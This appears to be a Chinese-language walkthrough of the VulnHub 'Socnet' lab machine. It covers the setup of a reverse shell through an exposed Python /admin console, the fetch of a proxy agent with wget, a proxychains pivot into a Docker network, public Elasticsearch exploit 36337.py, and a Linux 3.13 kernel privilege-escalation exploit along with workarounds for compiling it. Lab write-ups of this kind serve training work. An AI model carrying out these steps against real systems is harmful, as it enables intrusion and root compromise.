【打靶】Socnet
靶机下载地址:https://download.vulnhub.com/boredhackerblog/medium_socnet.ova
主机探测
arp-scan -l
nmap -sn 192.168.40.0/16
kali:192.168.40.148
靶机:192.168.40.149
开始时没能使用工具扫描到靶机ip,最后才发现是因为VMware默认采用了桥接模式而非NAT模式将其接入网络。
进一步信息收集
1.端口、服务、操作系统探测
nmap -sV -sC -O 192.168.40.149
目标开放了22、5000端口,在5000端口运行了一个由python2编写的http服务“Werkzeug”。在按照提示输入少于4字符长度的信息时会提示输入不够长
2.目录扫描
dirsearch -u 192.168.40.149:5000
对5000端口进行目录扫描,发现一个/admin目录,访问,内有一个可执行python代码的入口。
尝试利用
1.利用python来反弹shell
先在kali监听5555端口:
nc -lvnp 5555
在网页执行:
1 | import socket,subprocess,os; |
然后在kali端反弹shell,虽有root权限,但在目录下含有docker文档,且ip并非靶机ip。因此本用户可能只是docker容器的。
2.内网探测
然后进行内网探测,此内网有16位掩码,使用循环探测。
for i in $(seq 1 100); do ping -c 1 172.17.0.$i; done
本机为.2,除此之外还有.1和.3两台主机。
容器里没有可利用的工具,所以使用venom进行代理,以便使用kali访问靶机内网。
用venom监听8888端口,kali为64位
然后在kali端启动一个临时的http服务,以便靶机可以下载代理客户端。
python -m http.server 80
注意,根目录即为此命令运行时的目录
在靶机的shell下载文件,给它运行的权限。
wget 192.168.40.148/agent_linux_x64
chmod +x agent_linux_x64
使用show命令查找结点,再用goto连接该结点,并启动socks监听
使用proxychain工具设置代理访问靶机的内网。
修改proxychains4.conf文件,其中SOCKS5同时支持tcp和udp应用。
探测.1的那台主机,发现开启服务与端口同最开始时靶机的情况。
proxychains nmap -Pn -sT -sV 172.17.0.1
探测.3主机,开启了9200端口,是一个Elasticsearch服务。
proxychains nmap -Pn -sT -sV 172.17.0.3
至此,我们通过访问内网发现了第二台主机(就是点3的那台)可能有漏洞利用的可能。
3.漏洞利用
搜索漏洞,并把第一个结果复制到当前目录
searchsploit Elasticsearch
searchsploit -m 36337.py ./
大概看看代码,然后拿到另一台主机的shell
proxychains python2 36337.py 172.17.0.3
然后就出错了,下次在解决吧,开摆。
———————————————————更新分界线—————————————————————-
根据查询资料,这个elasticsearch为一个分布式搜索和分析引擎。
而以上问题的原因,是因为初次使用系统内没有数据,需要手动添加一条数据:
proxychains curl -XPOST 'http://172.17.0.3:9200/twitter/user/yren' -d '{"name":"Ww"}'
成功拿到另一台主机的shell,并发现目录下有个敏感文件passwords
在somd5.com进行查找,尝试使用John-1337hack登录ssh,成功。
提权
使用的是内核提权,因为内核版本低(Linux 3.13.0)。
搜索可用脚本,复制……
searchsploit Linux 3.13.0
新问题是,该脚本需要使用gcc编译,但靶机中没用gcc。所以c代码需要在kali端编译。
在源代码中,需要将一个c文件编译为so文件,再调用这个so文件。所以需要去除这段内容,再把现成的so文件送给靶机调用。
gcc 37292.c -o exp
编译c文件,命名为exp,并准备好ofs-lib.so文件,使用python的http服务将其送给靶机(和之前送代理客户端一样)
将文件放在/tmp下(据说是为了方便?)
给权限,执行。
chmod +x exp
又出错了,这是因为kali上编译时的动态库高于靶机。重新下载版本适合的动态库 libc6_2.19-0ubuntu6_amd64.deb
解压,重新使用该库编译c文件
gcc 37292.c -o exp -Ldir libc.so.6
再重复上述操作提权。